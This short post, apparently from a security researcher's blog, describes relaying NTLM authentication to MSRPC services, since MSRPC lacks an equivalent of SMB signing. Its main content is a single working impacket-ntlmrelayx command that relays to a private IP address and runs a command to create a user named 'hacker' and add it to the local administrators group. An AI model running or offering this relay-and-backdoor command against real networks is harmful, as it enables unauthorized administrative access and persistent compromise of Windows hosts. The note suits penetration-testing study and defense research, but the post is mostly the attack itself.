NTLM Relay to MSRPC

05.06.2024 ยท dadevel

There is no equivalent to SMB Singing on MSPRC. Every service defines integrity verification requirements itself. This lead to the discovery of multiple services that can be used as NTLM Relay Sink:

Relay account with local admin privileges to RPC.

impacket-ntlmrelayx -t rpc://172.16.100.1 -c 'net user hacker P@ssw0rd /add && net localgroup administrators hacker /add'